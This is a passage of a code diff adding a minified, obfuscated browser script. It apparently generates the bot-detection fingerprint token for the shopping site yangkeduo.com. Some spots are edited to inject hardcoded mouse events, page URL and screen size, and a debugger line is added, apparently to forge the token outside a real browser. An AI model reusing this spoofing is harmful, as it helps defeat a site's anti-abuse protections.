function(e, t) { + return e !== t + }, + RgriL: function(e, t) { + return e === t + }, + vlZcP: s(""0x10"", ""KM7]""), + NyooN: function(e, t) { + return e === t + }, + NiElf: s(""0x11"", ""r@ly""), + BstjM: s(""0x12"", ""MWtm""), + WYTPE: function(e, t) { + return e > t + }, + KCHer: function(e, t) { + return e <= t + }, + SwJiS: function(e, t) { + return e + t + }, + jwjBN: function(e, t, n, r) { + return e(t, n, r) + }, + abyYL: function(e, t) { + return e + t + }, + zqnjT: s(""0x13"", ""L4vs""), + IwXCL: function(e, t) { + return e - t + }, + zYOsJ: function(e, t) { + return e > t + } + }; + if (!e) + return []; + var r = [], + o = 0; + n.YCslw(t, """") && (n.RgriL(Object.prototype[l].call(t), n.vlZcP) && (o = t[f]), + n.NyooN(void 0 === t ? ""undefined"" : a(t), n.NiElf) && (o = (r = w.sc(t))[f]), + n.NyooN(void 0 === t ? ""undefined"" : a(t), n.BstjM) && (o = (r = w.nc(t))[f])); + var u = Math.abs(e)[l](2), + d = """"; + d = n.WYTPE(o, 0) && n.KCHer(o, 7) ? n.SwJiS(u, n.jwjBN(i, o[l](2), 3, ""0"")) : n.abyYL(u, n.zqnjT); + var h = [y[p](d[c](Math.max(n.IwXCL(d[f], 8), 0)), 2)]; + return n.zYOsJ(o, 7) ? h[m](w.va(o), r) : h[m](r) + }, + w[s(""0x14"", ""TtlW"")] = function(e) { + for (var t = function(e, t) { + return e < t + }, n = [], r = e[l](2).split(""""), a = 0; t(r[f], 16); a += 1) + r[u](0); + return r = r.join(""""), + n[g](y[p](r[d](0, 8), 2), y[p](r[d](8, 16), 2)), + n + }, + w[s(""0x15"", ""RwnT"")] = function(e) { + for (var t = { + ruOQW: s(""0x16"", ""bjNw""), + IOPuJ: function(e, t) { + return e < t + }, + yZVLA: function(e, t) { + return e < t + }, + DMfaj: s(""0x17"", ""@e@L""), + EQeOY: function(e, t) { + return e | t + }, + SLAgv: function(e, t) { + return e << t + }, + oHtye: function(e, t) { + return e & t + }, + tgeDe: function(e, t) { + return e - t + }, + vhxrm: function(e, t) { + return e >> t + }, + RkSVL: function(e, t) { + return e - t + }, + ltuPG: function(e, t) { + return e(t) + }, + SQNzX: function(e, t) { + return e - t + }, + qGiuF: function(e, t) { + return e(t) + }, + vqEsN: function(e, t) { + return e & t + }, + ECGuI: function(e, t) { + return e + t + }, + MmXbI: function(e, t) { + return e + t + }, + DGENX: s(""0x18"", ""8jgb"") + }, n = t.ruOQW.split(""|""), r = 0;;) { + switch (n[r++]) { + case ""0"": + var a = { + lZVwo: function(e, n) { + return t.IOPuJ(e, n) + } + }; + continue; + case ""1"": + var i = { + ""_ê"": new Array(4095), + ""_bì"": -1, + ""_á"": function(e) { + this._bì++, + this._ê[this._bì] = e + }, + ""_bY"": function() { + return this._bì--, + a.lZVwo(this._bì, 0) && (this._bì = 0), + this._ê[this._bì] + } + }; + continue; + case ""2"": + var o, c, u, l; + continue; + case ""3"": + return v.replace(/=/g, """"); + case ""4"": + for (m = 0; t.yZVLA(m, e[f]); m = g._bK) + for (var p = t.DMfaj.split(""|""), d = 0;;) { + switch (p[d++]) { + case ""0"": + i._bì -= 3; + continue; + case ""1"": + c = t.EQeOY(t.SLAgv(t.oHtye(i._ê[t.tgeDe(i._bì, 2)], 3), 4), t.vhxrm(i._ê[t.tgeDe(i._bì, 1)], 4)); + continue; + case ""2"": + u = t.EQeOY(t.SLAgv(t.oHtye(i._ê[t.RkSVL(i._bì, 1)], 15), 2), t.vhxrm(i._ê[i._bì], 6)); + continue; + case ""3"": + t.ltuPG(isNaN, i._ê[t.SQNzX(i._bì, 1)]) ? u = l = 64 : t.qGiuF(isNaN, i._ê[i._bì]) && (l = 64); + continue; + case ""4"": + case ""5"": + i._á(g._bf()); + continue; + case ""6"": + o = t.vhxrm(i._ê[t.SQNzX(i._bì, 2)], 2); + continue; + case ""7"": + l = t.vqEsN(i._ê[i._bì], 63); + continue; + case ""8"": + i._á(g._bf()); + continue; + case ""9"": + v = t.ECGuI(t.ECGuI(t.ECGuI(t.MmXbI(v, i._ê[o]), i._ê[c]), i._ê[u]), i._ê[l]); + continue + } + break + } + continue; + case ""5"": + for (var m = 0; t.yZVLA(m, _[f]); m++) + i._á(_.charAt(m)); + continue; + case ""6"": + i._á(""=""); + continue; + case ""7"": + var g = { + ""_b?"": e, + _bK: 0, + _bf: function() { + return e[h](this._bK++) + } + }; + continue; + case ""8"": + var v = """"; + continue; + case ""9"": + var _ = t.DGENX; + continue + } + break + } + }, + e[s(""0x19"", ""HoR)"")] = w + }).call(this, n(0)(e)) + }, + function(e, t) { + var n, r, a = e.exports = {}; + + function i() { + throw new Error(""setTimeout has not been defined"") + } + + function o() { + throw new Error(""clearTimeout has not been defined"") + } + + function s(e) { + if (n === setTimeout) + return setTimeout(e, 0); + if ((n === i || !n) && setTimeout) + return n = setTimeout, + setTimeout(e, 0); + try { + return n(e, 0) + } catch (t) { + try { + return n.call(null, e, 0) + } catch (t) { + return n.call(this, e, 0) + } + } + }! function() { + try { + n = ""function"" == typeof setTimeout ? setTimeout : i + } catch (e) { + n = i + } + try { + r = ""function"" == typeof clearTimeout ? clearTimeout : o + } catch (e) { + r = o + } + }(); + var c, u = [], + l = !1, + p = -1; + + function d() { + l && c && (l = !1, + c.length ? u = c.concat(u) : p = -1, + u.length && h()) + } + + function h() { + if (!l) { + var e = s(d); + l = !0; + for (var t = u.length; t;) { + for (c = u, + u = []; ++p < t;) + c && c[p].run(); + p = -1, + t = u.length + } + c = null, + l = !1, + function(e) { + if (r === clearTimeout) + return clearTimeout(e); + if ((r === o || !r) && clearTimeout) + return r = clearTimeout, + clearTimeout(e); + try { + r(e) + } catch (t) { + try { + return r.call(null, e) + } catch (t) { + return r.call(this, e) + } + } + }(e) + } + } + + function f(e, t) { + this.fun = e, + this.array = t + } + + function m() {} + a.nextTick = function(e) { + var t = new Array(arguments.length - 1); + if (arguments.length > 1) + for (var n = 1; n < arguments.length; n++) + t[n - 1] = arguments[n]; + u.push(new f(e, t)), + 1 !== u.length || l || s(h) + }, + f.prototype.run = function() { + this.fun.apply(null, this.array) + }, + a.title = ""browser"", + a.browser = !0, + a.env = {}, + a.argv = [], + a.version = """", + a.versions = {}, + a.on = m, + a.addListener = m, + a.once = m, + a.off = m, + a.removeListener = m, + a.removeAllListeners = m, + a.emit = m, + a.prependListener = m, + a.prependOnceListener = m, + a.listeners = function(e) { + return [] + }, + a.binding = function(e) { + throw new Error(""process.binding is not supported"") + }, + a.cwd = function() { + return ""/"" + }, + a.chdir = function(e) { + throw new Error(""process.chdir is not supported"") + }, + a.umask = function() { + return 0 + } + }, + function(e, t) { + var n = { + utf8: { + stringToBytes: function(e) { + return n.bin.stringToBytes(unescape(encodeURIComponent(e))) + }, + bytesToString: function(e) { + return decodeURIComponent(escape(n.bin.bytesToString(e))) + } + }, + bin: { + stringToBytes: function(e) { + for (var t = [], n = 0; n < e.length; n++) + t.push(255 & e.charCodeAt(n)); + return t + }, + bytesToString: function(e) { + for (var t = [], n = 0; n < e.length; n++) + t.push(String.fromCharCode(e[n])); + return t.join("""") + } + } + }; + e.exports = n + }, + function(e, t, n) { + ""use strict""; + e.exports = { + 2: ""need dictionary"", + 1: ""stream end"", + 0: """", + ""-1"": ""file error"", + ""-2"": ""stream error"", + ""-3"": ""data error"", + ""-4"": ""insufficient memory"", + ""-5"": ""buffer error"", + ""-6"": ""incompatible version"" + } + }, + function(e, t, n) { + (function(e, t) { + var r, a, i = ""function"" == typeof Symbol && ""symbol"" == typeof Symbol.iterator ? function(e) { + return typeof e + } : function(e) { + return e && ""function"" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? ""symbol"" : typeof e + }, + o = n(7), + s = n(10), + c = n(2), + u = n(18), + l = n(21), + p = [""wp7CuMOjUGU="", ""w5BhOwh7"", ""FcOZR8KKw6s="", ""asOKcMKsBDHClQ=="", ""wpXCg8OJfn4="", ""ZCHCt8OawpA="", ""ZcO4wrPDo8O5"", ""wq96ZD/DhA=="", ""agR7wprDuw=="", ""U8KqMj9P"", ""WgzCiWHCow=="", ""UwPCtMKvbMOPwos="", ""wqvCqcOUbH8="", ""V8Oxw4w="", ""woXClcOyTVQ="", ""wrx0alM0"", ""wr7DkcKp"", ""QcOlwoFlwpc="", ""w7vCo8Okw5jDscKL"", ""wo0+BMKlDA=="", ""w6TCmMOew7LDlg=="", ""T8KBABY="", ""acONwowZdg=="", ""bsO5wpHDocO2"", ""blXCu0A2"", ""wq0bLsKENQ=="", ""c1g0a8Os"", ""w7lVwqJlwok="", ""TWLCt0s="", ""w4R3OxV1"", ""csKOw6LDi8O6"", ""ccOdUsKwNA=="", ""CsOuZxjCmw=="", ""w4fDlW/DkcKU"", ""fhbCn1LCqA=="", ""wqwBw41Dwp4="", ""IAjDlMOywo4="", ""B8K9GcKuNA=="", ""wqQzw7zDnsOB"", ""wpHCgcKTwqs="", ""DcO7UT/CoQ=="", ""w6hYwoN/wpE="", ""RzfCucOawrU="", ""wqteQj/DmQ=="", ""wo9YQyI="", ""w47DqMOHDGg="", ""cF7CmU3CjA=="", ""w7nDlErDvMKZw6vDn8K9wp8="", ""DSbDu1DCgg=="", ""w6xUMgl9"", ""w4rDmcKhwqPCjw=="", ""w7vDl0fDuMKl"", ""Dy1+DjrDosOaesKbwr7CmcKGw7VqU0s="", ""fcKlw5XDtsO6"", ""wqvCrcKFwrDDsw=="", ""YAjCskPCisO+wodNw6A="", ""acKSw4TDj8ODCTHDu8KtwpcrSV7Dq8OcwoI="", ""wpnCv1FCwoPCrWDCs0k="", ""w6fCtSsqbMOWRGTChMOT"", ""SsOiw5MaNjvCgsKIOA=="", ""AQTDvXvCrsOPw77DssOawpsH"", ""wrA2w79Twq0="", ""dcOIwqZwwr0="", ""wqUlTDVZK8KrM3k="", ""woYSw6HDlMO5w5zDtwx+w6p5w5NFUhY="", ""OsK5JsKREQ=="", ""KX7DqcK0w7o="", ""TcOiw5cHOg=="", ""wrbCnMOwwqdF"", ""esOKdQ=="", ""woZkUjfDtFgyRg=="", ""w6rDlcKwwrfCjhXDhGPDqV3CgQ=="", ""wpsFw73Dk8O3w4/Dqyx6"", ""dETCkUDCuhjCjw=="", ""wp8hWgBc"", ""RGHCt0YR"", ""SjwDJcOo"", ""wpDCqcOGwqNj"", ""w4HDnnvDg8Kz"", ""UcOnwrREwolew4s="", ""KMKzPcKXAMK8Uw=="", ""OMK7KcKZBsKtc8KiWcKqwrhiwoPDqmJX"", ""KsOfdjLCn0bChcOGYA=="", ""w7JDw4USeA=="", ""EcODfcK8w7PCqMO0Wg=="", ""woLCgcKNwrTDhk4wRA=="", ""wphAwqHDj8KJDw=="", ""OcKyXA=="", ""LVzDiMKVw5rClcKMWhgqwpo="", ""wrHCvk7DhDPDnmjDsGs="", ""w4V2Pw=="", ""UMOxwrtMwopc"", ""ScO1w44YPD3Cr8KRMG4="", ""wpHCj8KQwqzDimI="", ""wpBqQnMqCMOkL0TDusKswrgmw6nCt8Ks"", ""wqbCpE/DgirDiW/Dqg=="", ""BMOaT8Khw63CicO/VEPDh8KT"", ""woYYw61iwpnDr8K0NsO5wpQ="", ""wq0IMMKIJAA="", ""RwnCoMK3"", ""SH8XRQ=="", ""w5l2Kx9ZwrbDjGE="", ""Jm0SaxJIGsOuZg=="", ""wo9NwrrDjcKCD3Q="", ""Q8O5woAZVMOBWA=="", ""HzF/AivDqcO9VsKN"", ""w6VFwqVAwpfCuA=="", ""NMKyRQMmw4w="", ""I1LDlMK0w5fCk8Kh"", ""UsOlwqZA"", ""eRTCtEM="", ""w5F4PB8="", ""LMOSYDjClUPCv8OMdA=="", ""w4HCnMOLwrvCkXtuTMO9"", ""Nk3DisKYw4I="", ""w6Y2bHM="", ""IsKlOcKXB8KrSMK0X8K9wq9k"", ""Y2zCqkA="", ""K1zDkMKYw5HCkcK9Qw8="", ""w4UEbFDClA=="", ""wqtUYXIz"", ""wrsiTiNTLQ=="", ""GMOERSnCvg=="", ""w5E9YVjChA=="", ""wqY3w4Vxwrg="", ""GMORcTDCksKGL8KSw5k="", ""c0PCtlUv"", ""w7gNSELCqQ=="", ""wqQ4YBNF"", ""w4vClCQxdA=="", ""w4ZAKTp1"", ""wop8bA44"", ""woY5w57Dv8OA"", ""w6t/wqZPIg=="", ""wqIcw75kwoc="", ""wrLCunXDlCQ="", ""D8K5JMKZHMOocMKmXsKw"", ""FsOSVAXCvQ=="", ""wo/Crl/DlmfDo2fDuF/DlEgUw7nDog=="", ""Zx7CjMOKwpg="", ""wplvT0QwBMOkPg=="", ""w73Cq8Oqw7TDhw=="", ""w7daLjlG"", ""wqwmw7HDisOX"", ""OsKuL8KcAMKhVsKiWQ=="", ""XlfCsEc+"", ""UEAgdcOt"", ""wpzCs8KLwozDqQ=="", ""wovCmMOOcFTCq3PDmyUdbg=="", ""wr00w4tPwpo="", ""w6TDksOUNk8="", ""KkjDksKUw4TCp8KgSAks"", ""A8OmQxnCnA=="", ""w5/CtcOGw4PDmA=="", ""w6vCrDoubMOdQG7Ci8Oewqw="", ""w6dhwrRxAw=="", ""NMOTCcKewqliw5Uww7zDug=="", ""fVnCiW/CjA=="", ""MWUTYjFUGsOtYsOqwq8="", ""wpQOajt7"", ""w57Dj8OIDVA="", ""w5PDikbDuMKRw7bDnsK1"", ""SsOYwqvDrcOt"", ""PzvDnlHCuA=="", ""wpjCqsOZwoRscg=="", ""E102dCw="", ""AV4vVxY="", ""MsKwQhQ="", ""FsKEYhoK"", ""RgnCkcKRfg=="", ""RBbCs8K0Yw=="", ""ZlTCl183"", ""AsKGJ8KCGA=="", ""w7vDn0zDvcKNw6vDh8K9wok="", ""YyPCvHPCvQ=="", ""UwnCv8KCeMOPwoFEQhDCvwE6"", ""w4B2w6ULUA=="", ""w6Zrwo1lwrk="", ""wo3ColN3wpnCrXbCrk3DucK0w5x/AsKnJMKnMMK9HT9ww68="", ""YcOMwqAGdw=="", ""AyrDiErClQ=="", ""b8OWbMKwAiPCmAFc"", ""WMO5w5IK"", ""w6xhw6ApRQ=="", ""InYQeg5IAsOzcw=="", ""wrwCLMKJ"", ""wpULw7xnwpTDm8K4"", ""b8O2woZiwok="", ""P0ozVjk="", ""HcONeiHCm8KbOMKHw5g="", ""wqwOMsKBIA0e"", ""csKGMDdr"", ""wqU7ViZfMcKh"", ""OMKWbSId"", ""RwrCp8KkZMOVwp0="", ""ZMOKwqTDlcO6"", ""TsOxwrtPwpBQw5vCtsOQ"", ""T8Oewq8+YA=="", ""Vw5UwrbDv8KG"", ""ejzCrMOcwr4="", ""VWjCsEEfw6LCmnQ="", ""b2Mie8Ov"", ""csKPBxh1w518w6DCqQ=="", ""amLCukAIw77ClnzCoA=="", ""wpxdX0MZ"", ""wogRw7/DpMOK"", ""w4g/anTCszo="", ""wrDCo8KZwoDDiA=="", ""w6FIwpZoAQ=="", ""BcOeZhrCg8KBEcKFw5JjIcOTFMOS"", ""wrZfRVsT"", ""IsO8E8KZwp8="", ""wpTCoMOoQ2o="", ""wrw6eiZk"", ""N2cT"", ""woIaw4vDgMOK"", ""w6E8Vn/Cnw=="", ""w6/DkmjDtMKe"", ""w6vDhsKjwrzClg=="", ""VcOPTcKgLA=="", ""wofChcObe0HChnLDpi0AeUQfw5I="", ""cxLCm1rChA=="", ""JMK1QgYz"", ""SmfClXM2"", ""wpQew6BiwoE="", ""wqY4TiQ="", ""woJ+Sl8o"", ""w6bDlUfDtw=="", ""wpkSw6LDi8O5w5jDtw=="", ""UMO1wqVEwoRSw5k="", ""alnCu3rCmg=="", ""w6fDnsKvwqY="", ""DcONQMKsw63CpMOfS0HDgcKT"", ""PcKqLsKT"", ""e8OgwoHDvMOu"", ""SWMbVw=="", ""V8KBDRlrw5ZQw6zCvsOdwps="", ""J8K8SAs="", ""UMO0wooXdA=="", ""w4I5cW8="", ""wrhKdRk="", ""b8OFYMKvIw=="", ""PsKzQhQ="", ""HADDrWM="", ""UsOxwrZDwqs="", ""BQ/Dp3w="", ""wqrCvsOcwok="", ""wpnCrF1dwqI="", ""wo3Cg8OTYQ=="", ""V2zCvU4="", ""woIZw7vDkw=="", ""w7TCuC0g"", ""PCPDpsObwog="", ""S8O+wrxc"", ""cwPCpMKqbsOewqFbSgHCuBo1bcKoTsO1LwApFU4="", ""bMKDw4PDhQ=="", ""w7zDm03DssKx"", ""VsKOCgk="", ""PkhbHsKRRidmw4rDq8OrGmPDkwU0ew=="", ""woFvRV0="", ""HADDrWPCgQ=="", ""JSzDrMOE"", ""w7lBwqhM"", ""w7rDoMODFks="", ""fsOywofDpcOhOG/Ctlc="", ""wpVWSSc="", ""T8KBABZJ"", ""MsOIFMKP"", ""NVzDhcKa"", ""worCjMOUennCgHnDnSkcf3Mcw5E="", ""ZCzCm8OQwoLDmMOkRT8Iw45qKwDCiA=="", ""bMKDw4PDhcO5"", ""N8OdajLCrEnCvsOGe287wqVaw4A="", ""wp9vSFkDHsO+NHrDssK4wqkcw6HCog=="", ""MMOSbSk="", ""UsOxwrZD"", ""w5x3IQo="", ""e8OlwobDiMOVLG/Cqnwyw4w="", ""w7zDm03Dsg=="", ""SsOxw58FFw=="", ""E0NEAw=="", ""w4dpwpxaO1TDoA=="", ""eizClsOU"", ""wqrCvsOcwolH"", ""U8O+w5UaECHCncKX"", ""wrQhL8KuNQ=="", ""worCoVdVwoc="", ""w6Y2XVHClw=="", ""VGIHQMOJSgPDo8Kqwos="", ""B8O1eBbCgA=="", ""b8OxwpBiwqw="", ""XgjCu8K3SMONwotHVw=="", ""JlHDg8KQw4TCs8KoTxUh"", ""w6NNwoZOPQ=="", ""w7rCosOkw4LDuMKLViPDr8Kww6DDkcK1w7bCoA=="", ""w6obV1rCtg=="", ""w5vDgsOvDG8="", ""woZYYHg7"", ""YlnCrW4J"", ""wqDCpEjDjg=="", ""DMKHAsK5Gg=="", ""w63CrsO1w5jDucKCbDjDmg=="", ""DjR3Cj3Ds8OocsKZ"", ""w73Dl8OmM2I="", ""DGXDg8KUw7o="", ""a8KnNh9V"", ""wqTCuUPDmgTDhGDDrE/DmF4U"", ""WMOUwqTDn8Ot""]; + r = p, + a = 390, + function(e) { + for (; --e;) + r.push(r.shift()) + }(++a); + var d = function e(t, n) { + var r, a = p[t -= 0]; + void 0 === e.aLLsVD && ((r = function() { + var e; + try { + e = Function('return (function() {}.constructor(""return this"")( ));')() + } catch (t) { + e = window + } + return e + }()).atob || (r.atob = function(e) { + for (var t, n, r = String(e).replace(/=+$/, """"), a = 0, i = 0, o = """"; n = r.charAt(i++); ~n && (t = a % 4 ? 64 * t + n : n, + a++ % 4) ? o += String.fromCharCode(255 & t >> (-2 * a & 6)) : 0) + n = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="".indexOf(n); + return o + }), + e.xrUmOe = function(e, t) { + for (var n, r = [], a = 0, i = """", o = """", s = 0, c = (e = atob(e)).length; s < c; s++) + o += ""%"" + (""00"" + e.charCodeAt(s).toString(16)).slice(-2); + e = decodeURIComponent(o); + for (var u = 0; u < 256; u++) + r[u] = u; + for (u = 0; u < 256; u++) + a = (a + r[u] + t.charCodeAt(u % t.length)) % 256, + n = r[u], + r[u] = r[a], + r[a] = n; + u = 0, + a = 0; + for (var l = 0; l < e.length; l++) + a = (a + r[u = (u + 1) % 256]) % 256, + n = r[u], + r[u] = r[a], + r[a] = n, + i += String.fromCharCode(e.charCodeAt(l) ^ r[(r[u] + r[a]) % 256]); + return i + }, + e.KUKVOf = {}, + e.aLLsVD = !0); + var i = e.KUKVOf[t]; + return void 0 === i ? (void 0 === e.hpDhXX && (e.hpDhXX = !0), + a = e.xrUmOe(a, n), + e.KUKVOf[t] = a) : a = i, + a + }, + h = d(""0x0"", ""b]KU""), + f = d(""0x1"", ""t$qy""), + m = d(""0x2"", ""]kE!""), + g = d(""0x3"", ""dQAO""), + v = d(""0x4"", ""8PDO""), + _ = ""id"", + b = d(""0x5"", ""0Vdd""), + y = d(""0x6"", ""tGHt""), + w = ""es"", + S = ""en"", + C = d(""0x7"", ""kYKn""), + A = d(""0x8"", ""l9X*""), + I = d(""0x9"", ""J7u(""), + k = d(""0xa"", ""LYQ!""), + E = d(""0xb"", ""dQAO""), + T = d(""0xc"", ""ijT1""), + N = d(""0xd"", ""kYKn""), + x = d(""0xe"", ""]kE!""), + O = d(""0xf"", ""Sdwk""), + D = d(""0x10"", ""UnBX""), + P = d(""0x11"", ""3zQ4""), + R = d(""0x12"", ""I%I8""), + M = d(""0x13"", ""l9X*""), + L = d(""0x14"", ""nijo""), + U = d(""0x15"", ""8PDO""), + W = d(""0x16"", ""F6r*""), + B = d(""0x17"", ""YGdi""), + G = d(""0x18"", ""Fvsl""), + Q = d(""0x19"", ""0Vdd""), + j = d(""0x1a"", ""tGHt""), + q = d(""0x1b"", ""J7u(""), + V = d(""0x1c"", "")uYb""), + F = d(""0x1d"", ""l9X*""), + K = 0, + H = void 0, + z = void 0, + J = 5, + Y = """", + Z = function() {}, + X = void 0, + $ = void 0, + ee = void 0, + te = void 0, + ne = void 0; + if ((""undefined"" == typeof window ? ""undefined"" : i(window)) !== d(""0x1e"", ""b]KU"")) + for (var re = d(""0x1f"", ""dQAO"")[d(""0x20"", ""tGHt"")](""|""), ae = 0;;) { + switch (re[ae++]) { + case ""0"": + te = window[d(""0x21"", ""(X(["")]; + continue; + case ""1"": + ne = d(""0x22"", ""ui)S"") in X[N]; + continue; + case ""2"": + ee = window[d(""0x23"", ""l*GI"")]; + continue; + case ""3"": + X = window; + continue; + case ""4"": + $ = window[d(""0x24"", ""tGHt"")]; + continue + } + break + } + + function ie(e) { + var t = {}; + return t[d(""0x83"", ""dHIh"")] = d(""0x84"", ""nijo""), + c[t[d(""0x85"", ""P!c2"")]](e[G])[Q](e) + } + + function oe(e) { + var t = {}; + t[d(""0x8d"", ""l*GI"")] = function(e, t) { + return e === t + }; + var n = {}; + return (X[N][E] ? X[N][E][d(""0x8e"", ""Sdwk"")](""; "") : [])[d(""0x8f"", ""dHIh"")](function(r) { + var a = r[d(""0x90"", ""ijT1"")](""=""), + i = a[f](1)[d(""0x91"", ""43d3"")](""=""), + o = a[0][d(""0x92"", ""P!c2"")](/(%[0-9A-Z]{2})+/g, decodeURIComponent); + return i = i[d(""0x93"", ""J7u("")](/(%[0-9A-Z]{2})+/g, decodeURIComponent), + n[o] = i, + t[d(""0x94"", ""oWyJ"")](e, o) + }), + e ? n[e] || """" : n + } + var se = {}; + se[d(""0x95"", ""4N]H"")] = function() { + this[F] = [] + }, + se[d(""0x96"", ""]kE!"")] = function(e) { + var t = e || X.event, + n = t[v][_] || """", + r = {}; + r[B] = n, + r[W] = t[W], + r[U] = t[U], + r[L] = function(e, t) { + return e - t + }(ee[b](), K), + this[F][q](r), + function(e, t) { + return e > t + }(this[F][G], J) && this[F].shift() + }, + se[d(""0x97"", ""ui)S"")] = function() { + var e = [][Q](c[w](""db"")); + return this[F][j](function(t) { + e = e[Q](c[S](t[W]), c[S](t[U]), c[w](t[B]), c[S](t[L])) + }), + ie(e) + }, + se[d(""0x98"", ""3HI!"")] = function() { + if (!this[F][G]) + return []; + var e = [][Q](c.ek(4, this[F])); + this.data=[{""elementId"":""mall-result-input"",""clientX"":721,""clientY"":53,""timestamp"":190292}]; + return this[F][j](function(t) { + e = e[Q](c.va(t[W]), c.va(t[U]), c.va(t[L]), c.va(t[B][G]), c.sc(t[B])) + }), + e + }; + var ce = {}; + ce[d(""0x99"", ""I%I8"")] = function() { + this[F] = [] + }, + ce[d(""0x9a"", ""g!0p"")] = function(e) { + ! function(e, t) { + var n = {}; + n[d(""0x86"", ""(X(["")] = function(e, t) { + return e - t + }, + n[d(""0x87"", ""43d3"")] = function(e, t) { + return e > t + }; + var r = t || X[d(""0x88"", ""4N]H"")], + a = r[v][_] || """", + i = {}; + if (i[B] = a, + i[L] = n[d(""0x89"", ""2Bha"")](ee[b](), K), + ne) { + var o = r[d(""0x8a"", ""9cg4"")]; + o && o[G] && (i[W] = o[0][W], + i[U] = o[0][U]) + } else + i[W] = r[W], + i[U] = r[U]; + e[F][q](i), + n[d(""0x8b"", "")uYb"")](e[F][G], J) && e[F][d(""0x8c"", ""0Vdd"")]() + }(this, e) + }, + ce[d(""0x9b"", ""0Vdd"")] = function() { + var e = [][Q](c[w](""tw"")); + return this[F][j](function(t) { + e = e[Q](c[S](t[W]), c[S](t[U]), c[w](t[B]), c[S](t[L])) + }), + ie(e) + }, + ce[d(""0x9c"", ""F6r*"")] = function() { + if (!this[F][G]) + return []; + var e = [][Q](c.ek(1, this[F])); + return this[F][j](function(t) { + e = e[Q](c.va(t[W]), c.va(t[U]), c.va(t[L]), c.va(t[B][G]), c.sc(t[B])) + }), + e + }; + var ue = {}; + ue[d(""0x9d"", ""(X(["")] = function() { + this[F] = {""href"":""http://yangkeduo.com/mall_search_result.html?mall_id=446529320&search_key=%E5%A4%8F%E5%AD%A3%E6%8C%A1%E9%A3%8E%E8%A2%AB&pr_remote=1&force_use_web_bundle=1&refer_page_name=mall&refer_page_id=10039_1583578889681_fi42AbeLiO&refer_page_sn=10039"",""port"":""""}; + }, + ue[d(""0x9e"", ""krTJ"")] = function() { + this[V](); + var e = [][Q](c[w](""kf""), c[w](this[F][R]), c[w](this[F][P])); + return ie(e) + }, + ue[d(""0x9f"", ""2Bha"")] = function() { + this[V](); + var e = this[F], + t = e.href, + n = void 0 === t ? """" : t, + r = e.port, + a = void 0 === r ? """" : r; + if (function(e, t) { + return e && t + }(!n, !a)) + return []; + var i = c.sc(n); + return [][Q](c.ek(7), c.va(i[G]), i, c.va(a[G]), function(e, t) { + return e === t + }(a[G], 0) ? [] : c.sc(this[F][P])) + }; + var le = {}; + le[d(""0xa0"", ""0Vdd"")] = function() { + this[F] = {}, + this[F][O] = X[D][O], + this[F][x] = X[D][x] + }, + le[d(""0xa1"", ""Ca4X"")] = function() { + var e = [][Q](c[w](""lh""), c[S](this[F][x]), c[S](this[F][O])); + return ie(e) + }, + le[d(""0xa2"", ""J7u("")] = function() { + this.data= {""availWidth"":1291,""availHeight"":693}; + return [][Q](c.ek(8), c.va(this[F][O]), c.va(this[F][x])) + }; + var pe = {}; + pe[d(""0xa3"", ""Ca4X"")] = function() { + var e = function(e, t) { + return e + t + }, + t = function(e, t) { + return e(t) + }; + this[F] = e(X[g](t(String, function(e, t) { + return e * t + }(te[I](), e(te[A](2, 52), 1))), 10), X[g](t(String, function(e, t) { + return e * t + }(te[I](), e(te[A](2, 30), 1))), 10)) + ""-"" + H + }, + pe[d(""0xa4"", ""3NmV"")] = function() { + this[V](); + var e = [][Q](c[w](""ie""), c[w](this[F])); + return ie(e) + }, + pe[d(""0xa5"", ""9axY"")] = function() { + console.log( this[F]) + debugger;//此处留意 时间 + return this[V](), [][Q](c.ek(9, this[F])) + }; + var de = {}; + de[d(""0xa6"", ""9cg4"")] = function() { + this[F] = function() { + var e = {}; + e[d(""0x25"", ""(X(["")] = function(e, t) { + return e !== t + }, + e[d(""0x26"", ""ijT1"")] = d(""0x27"", ""dHIh""), + e[d(""0x28"", ""b]KU"")] = function(e, t) { + return e < t + }, + e[d(""0x29"", ""(X(["")] = function(e, t) { + return e !== t + }, + e[d(""0x2a"", ""Sdwk"")] = d(""0x2b"", ""U0CN""), + e[d(""0x2c"", ""l*GI"")] = function(e, t) { + return e !== t + }, + e[d(""0x2d"", ""(X(["")] = function(e, t) { + return e === t + }, + e[d(""0x2e"", ""dHIh"")] = function(e, t) { + return e === t + }, + e[d(""0x2f"", ""oG^X"")] = function(e, t) { + return e === t + }, + e[d(""0x30"", ""l9X*"")] = function(e, t) { + return e === t + }, + e[d(""0x31"", ""B4$K"")] = function(e, t) { + return e === t + }, + e[d(""0x32"", ""P!c2"")] = function(e, t) { + return e !== t + }, + e[d(""0x33"", ""!emz"")] = d(""0x34"", ""Sdwk""), + e[d(""0x35"", ""kYKn"")] = d(""0x36"", ""ui)S""), + e[d(""0x37"", ""b]KU"")] = d(""0x38"", ""kYKn""), + e[d(""0x39"", ""nBw!"")] = d(""0x3a"", ""ijT1""), + e[d(""0x3b"", ""jvpv"")] = function(e, t) { + return e === t + }, + e[d(""0x3c"", ""l9X*"")] = function(e, t) { + return e in t + }, + e[d(""0x3d"", ""P!c2"")] = d(""0x3e"", ""ui)S""), + e[d(""0x3f"", ""l*GI"")] = function(e, t) { + return e < t + }, + e[d(""0x40"", ""I%I8"")] = function(e, t) { + return e << t + }; + var t = []; + e[d(""0x41"", ""dQAO"")](i(X[d(""0x42"", ""9cg4"")]), e[d(""0x43"", ""Sdwk"")]) || e[d(""0x44"", ""S1pH"")](i(X[d(""0x45"", ""tGHt"")]), e[d(""0x46"", ""b]KU"")]) ? t[0] = 1 : t[0] = e[d(""0x47"", ""jvpv"")](X[d(""0x48"", ""oG^X"")], 1) || e[d(""0x49"", ""!emz"")](X[d(""0x4a"", "")UGx"")], 1) ? 1 : 0, + t[1] = e[d(""0x4b"", ""oWyJ"")](i(X[d(""0x4c"", ""nijo"")]), e[d(""0x4d"", ""dHIh"")]) || e[d(""0x4e"", ""S1pH"")](i(X[d(""0x4f"", ""43d3"")]), e[d(""0x50"", ""3HI!"")]) ? 1 : 0, + t[2] = e[d(""0x51"", ""Ca4X"")](i(X[d(""0x52"", ""3NmV"")]), e[d(""0x53"", ""nijo"")]) ? 0 : 1, + t[3] = e[d(""0x54"", ""nijo"")](i(X[d(""0x55"", ""0Vdd"")]), e[d(""0x56"", ""0Vdd"")]) ? 0 : 1, + t[4] = e[d(""0x57"", ""3zQ4"")](i(X[d(""0x58"", ""3zQ4"")]), e[d(""0x59"", ""l*GI"")]) ? 